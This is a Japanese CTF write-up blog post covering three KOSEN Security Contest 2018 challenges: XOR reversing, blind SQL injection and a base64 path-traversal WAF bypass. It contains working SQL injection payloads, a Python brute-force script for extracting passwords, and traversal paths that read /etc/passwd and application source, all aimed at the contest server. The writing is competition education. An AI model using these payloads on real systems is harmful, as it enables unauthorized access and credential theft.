9/1,2 に福岡県で開催された高専セキュリティコンテストに参加しました。今回は念願のオンサイトです。コンテストの詳細や旅の記録はちょっと面倒なので省略して、 ほとんど writeup だけの記事を書きます。
奈良高専から出場した私たち insecure (theoldmoon0602, ptr-yudai, thrust2799, yoshiking) は 2日目 の 9:01:42 に全完して優勝でした。 私は3850 点のうち、 800 点を入れたのでその問題についての writeup を以下に書きます。


[Binary 200] XOR, XOR
これは200点もないでしょという問題。 asmreading という名前の 32bit ELFが渡されます。実行しても何も起こらずすぐに終了する。 ltrace にかけてみたけど何を呼んでる様子もなさそうです。一回は asmreading というファイル名に従って objdump してます。 みると main 関数では変数を初期化して xor_func なる関数を call しているようでした。他に目立った処理も無かったので、gdb で開いて、関数呼び出しの直後に breakpoint を仕掛けて。
あとは continue して、メモリを見ると FLAG があります。 CKOSEN{you_can_read_assembly!}
優勝決まった後暇だったので、一応正攻法もやりました。例えば objdump -D -M intel asmreading > dis.asm とします。 <main> というラベルで処理を見ると、大量のmovの後に xor_func を呼んでいるというのは先程も書いたところです。この xor_func の処理を見ると、アドレスが0x593のあたりをからループと xor をしていることがわかりました。 xor の引数は xor_func の引数にループカウンタを足してアドレスを計算しているようです。
というわけで xor_func への引数を拾ってきて、xor しても flag が手に入ります。
0000054d <xor_func>: 54d: 55 push ebp 54e: 89 e5 mov ebp,esp 550: 53 push ebx 551: 83 ec 10 sub esp,0x10 554: e8 97 01 00 00 call 6f0 <__x86.get_pc_thunk.ax> 559: 05 7f 1a 00 00 add eax,0x1a7f 55e: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0 565: eb 28 jmp 58f <xor_func+0x42> 567: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8] 56a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 56d: 01 d0 add eax,edx 56f: 0f b6 18 movzx ebx,BYTE PTR [eax] 572: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8] 575: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 578: 01 d0 add eax,edx 57a: 0f b6 08 movzx ecx,BYTE PTR [eax] 57d: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8] 580: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 583: 01 d0 add eax,edx 585: 31 cb xor ebx,ecx 587: 89 da mov edx,ebx 589: 88 10 mov BYTE PTR [eax],dl 58b: 83 45 f8 01 add DWORD PTR [ebp-0x8],0x1 58f: 83 7d f8 1e cmp DWORD PTR [ebp-0x8],0x1e 593: 7e d2 jle 567 <xor_func+0x1a> 595: b8 00 00 00 00 mov eax,0x0 59a: 83 c4 10 add esp,0x10 59d: 5b pop ebx 59e: 5d pop ebp 59f: c3 ret
6be: 8d 45 97 lea eax,[ebp-0x69] 6c1: 50 push eax 6c2: 8d 45 d5 lea eax,[ebp-0x2b] 6c5: 50 push eax 6c6: 8d 45 b6 lea eax,[ebp-0x4a] 6c9: 50 push eax 6ca: e8 7e fe ff ff call 54d <xor_func>
a = [0x79,0x38,0x4e,0x41,0x72,0x77,0x59,0x6a,0x3e,0x58,0x4a,0x67,0x49,0x6d,0x65,0x33,0x52,0x51,0x68,0x68,0x5f,0x4d,0x3c,0x76,0x6f,0x31,0x5a,0x5d,0x6a,0x58,0x69] b = [ 0x2a,0x7b,0x5 ,0xe ,0x21,0x32,0x17,0x11,0x47,0x37,0x3f,0x38,0x2a,0xc ,0xb ,0x6c,0x20,0x34,0x9 ,0xc ,0x0 ,0x2c,0x4f,0x5 ,0xa ,0x5c,0x38,0x31, 0x13 ,0x79 ,0x14] import sys for a, b in zip(a, b): sys.stdout.write(chr(a ^ b)) sys.stdout.write("\n")
[Web 300] 47405b599e22969295ebed486d7343cb
問題名がひどいけどこれであってるらしい。後から教えてもらいましたが、 SQL Injetction の md5 らしいですね。問題文は find the flag。すごく時間を溶かした問題です。だいたいスクリプトの実行に時間がかかりすぎたんですね。会場のトラフィックが詰まり気味だったのか、レスポンスがアレだったのか。
アクセスすると、2つのフォームがあるページがみつかります。一つは検索フォームで、もう一つはログインフォームでした。検索フォームに適当な数字を入れると、 紐付いている数字が表示されます。有効なキーは 1 から 70 くらいまでで、帰ってきた数字を順番に chr していくと大体 Sorry... The flagi is not here. Hints: The flag is the password of the someone. とかそんな感じになりました。

ちなみに、 ' UNION ALL SELECT id, value from hints -- ' とかを入力すると一度に抜けるっぽいです。これは師匠がやってた。

ということで下のフォームにログインしていきます。例えば username を admin 、 pass を 'OR 'a'='a にすると、 Multiple columns not allowed と表示されました。ならばと、 pass を 'OR 'a'='a' limit 1 -- とかにすると今度は Welcome! と表示される。 あ、 Blind SQL Injection だ。
最初は大雑把に言って pass を 'OR SUBSTR(pass, {l}, 1) = '{c}' limit 1 -- のようなpayloadでやっていきました。 {l} や {c} は変数展開のつもりです。これで出たのが、 SCKOSEN{j22522e96848ga64k3i3j85559} 。 勝利と思ったが受付けてもらえず。その直前に運営側の flag 設定ミスのある問題があったので一応確認してもらいましたがこれはダミーということでした。後でわかったけどダミーですらなかった。
その後試行錯誤して、 'OR 'a'='a' limit 1 offset {i} -- で 5 まで通るから、マッチするパスワードが 6もあることがわかりました。パスワードの文字列が混同されないように気をつけて Blind SQL Injectioをしていく必要があります。これに気がついていないくて、最初は offset だけを動かしていたんだけど、一行しかマッチしない場合に offset 2 とかの payload を送ってもログインできずに泣いているだけだったり。↑のようなだめパスワードに引っかかっていました。
最終的には、次のようなコードになります。
import requests import string import sys url = 'http://find.kosensc2018.tech/' FLAGS = [ "SCKOSEN{W22Xxnq9g8rfnEHG", "SCKOSEN{XS6Pf2JeLqEbgkbi", "SCKOSEN{jJTT4fFS6u68UrXF", "SCKOSEN{rBB5GHkbkZktquEe", "SCKOSEN{sTmxideYKH48wau4", "SCKOSEN{u6YJ2TypMdAZSx6D", ] while True: k = [] for f in FLAGS: for j in range(21, 127): i = chr(j) payload = "'OR SUBSTR(pass, 1, {}) = '{}' limit 1 --".format(len(f) + 1, f + i ) r = requests.post(url + 'signin', data={'id': 'admin', 'pass': payload}) if "Welcome" in r.content: print(f + i) k.append(f + i) break FLAGS = k
SUBSTRでこれまでの flag 文字列を含みながらマッチする文字列を探すことでパスワードが混ざって表示されることを防止しています。 FLAGS に初期値が入っているのはリクエストがめっちゃ遅くてタイムアウトしたときがあったからで、初期値は FLAGS=[""] です。その場合は break を書いてしまうと最初のFLAGしかとれずに死にます。
これを走らせて得られた結果がこんな感じ↓ で確か flag は SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg} でした。実行にものすごく時間がかかって、↓だけでも 30 min か 1h くらいかかった気がする。
SCKOSEN{W22Xxnq9g8rfnEHGy
SCKOSEN{XS6Pf2JeLqEbgkbip
SCKOSEN{jJTT4fFS6u68UrXFk
SCKOSEN{rBB5GHkbkZktquEeN
SCKOSEN{sTmxideYKH48wau4E
SCKOSEN{u6YJ2TypMdAZSx6DF
SCKOSEN{W22Xxnq9g8rfnEHGyD
SCKOSEN{XS6Pf2JeLqEbgkbipC
略
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg}
SCKOSEN{XS6Pf2JeLqEbgkbipCj3knh5s9}
SCKOSEN{jJTT4fFS6u68UrXFkwmpsF5X5X}
SCKOSEN{rBB5GHkbkZktquEeN3iBj8WEBv}
SCKOSEN{sTmxideYKH48wau4EJZtNZWYZS}
SCKOSEN{u6YJ2TypMdAZSx6DFuzDsvDKcf}
[Web 300] 進撃せよ
すごく悩まされた問題。 ~~~/list というのがインデックスのページで、 flag.txt と test.txt へのリンクがあり、それぞれ /list/base64(flag.txt) /list/base64(test.txt) というような base64encoded な形のリンクでした。
test.txt へアクセスすると test とだけ帰ってきて、 flag.txt にアクセスすると WAF が動いて止められます。どうやら flag という文字列か flag という文字列の base64 に反応しているご様子。
%00 とかで誤魔化せないかと思ったけど 500 が帰ってきてだめで、しばらく放っておいたら thrust2799 が base64(../../../../../etc/passwd) に成功することを教えてくれました。なるほどと思っていろいろ探ったけど後から考えれば的はずれだったので省略します。
base64(../../../../../../proc/self/cwd) や base64(../../../../../proc/self/cmdline) で何をやっているかが読めるので読みました。プロセスは apache2 で、 http のヘッダには nginx と書いていた ので nginx のコンフィグばかり探して見つからないとなっていたのですが、多分 Reverse Proxy が悪いんですねこれ。ということで /etc/apache2/apache2.conf などを見て /var/www/html/waf/public/ が DocumentRoot であることを突き止め、 /var/www/html/waf/public/index.php からサーバが Laravel で動いているっぽいことがわかりました。実は師匠がその前にセッション名から Laravel っぽいということは教えてくれていましたが、一応。
あとは Laravel のディレクトリ構造を思い出して waf/routes/web.php から waf/app/Controllers/Http/Waf.php にアクセスします。
帰ってきたのが
?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class Waf extends Controller
{
//
public function decode($input)
{
$r = base64_decode($input);
return $r;
}
public function BlackList($input)
{
$flag = true;
$BlackList = ["flag.txt"];
foreach ($input as $val) {
if (in_array($val, $BlackList)) {
$flag = false;
}
$check = preg_match('/flag/', $val);
if ($check) {
$flag = false;
}
}
return $flag;
}
public function base64url_encode($data)
{
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
public function base64url_decode($data)
{
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
public function Waf($file)
{
$block = false;
//$data = $this->base64url_decode($file);
$trim = rtrim(strtr($file, '+/', '-_'), '=');
if ($this->base64url_encode($this->base64url_decode($file)) === $trim) {
//base64のとき
$data = [$this->base64url_decode($file),$file];
} else {
//base64ではないとき
$data = [$file];
}
$check = $this->BlackList($data);
if ($check) {
//ブラックリストではないとき。
} else {
//ブラックリストのとき。
$block = true;
}
return $block;
}
public function list_glob($path)
{
foreach (glob($path) as $file) {
$result[] = basename($file);
}
return $result;
}
public function index(Request $request)
{
//ファイルの一覧
$list = $this->list_glob("../files/*");
//return response($list, 200);
return view('file', compact("list"));
}
public function Read(Request $request, $file)
{
if ($this->Waf($file)) {
//waf が検知したとき。
abort(403, "Access Denied");
//return response("Access Block", 403);
}
$end = false;
$data = $file;
while (!$end) {
$bef = $data;
if (base64_encode($this->base64url_decode($data, true)) === $data) {
//base64のとき
$data = $this->base64url_decode($data);
} else {
//base64ではないとき
$data = $bef;
$end = true;
}
}
if (file_exists("../files/$data")) {
$output = file_get_contents("../files/$data", true);
echo($output);
} else {
abort(404);
}
}
}
で、ちゃんと読むと、 Waf のときは base64decode を 1回だけやっており、アクセスのときは できる限り何回でもdecodeしていることがわかります。というわけで echo flag.txt | base64 | tr -d '\n' | base64 で生成したパスにアクセスしてフラグゲットです。

ちなみに想定解は ESP らしいです。時間をかけすぎた感じが否めないけどちゃんと解くことができて気持ちよかったです。
感想
優勝できてよかったです。 5年生 4人チームということもあり、負けられない戦いでした。
勝利の要因はいろいろあると思いますが、きちんと役割分担をしたこと、事前準備をしてきたこと、師匠が大体全部解いたことなどでしょうか。役割分担としては、「ネットワークは全部 thrust2799に任せる」とか「theoldmoon0602とptr-yudaiは難しそうなweb問から解く」とか「yoshiking は CTFはじめて2ヶ月だからまずはMiscから(でもRSAもCMAも解いてたし強い)」とかでした。 事前準備で対策していたBlind SQL Injection が 2問もでるなど、意外と問題が当たったのも幸運でした。
https://furutsuki.hatenablog.com/entry/2018/08/30/224142
運営や問題のクオリティについても高専セキュリティコンテストに適したものが出題されているという感じで、教育的な良問でした。 find the flag の問題はもうちょっと flag 短くするとか少なくするとか、リクエストの回数少なくて良くなるようにしてほしい感はありますが。
今年もまたSECCON国内大会に出られるということでまた次の目標へ向けて頑張っていきたいと思います。
みて
頼れるチームメイトのWrite up です。
師匠ことプロの write up。丁寧に書いてあるので勉強になりますね。このくらいの問題セットなら、師匠一人で出ていても全完していた可能性がある。
ネットワークしかできないと言っておきながら各問題について重要な手がかりを入手することに長けたプロであるところの thrust2799 の writeup。すべての問題の解答時間を 12時間程度早めたと言っても過言ではありません。
CTFはじめて2ヶ月の yoshiking の writeup。ちゃんと解くべき問題を解いているので本当に強い。この人僕より得点稼いでるんです……。さすが king 。 twitter アカウントを開設したらしいのでフォローしてあげてください。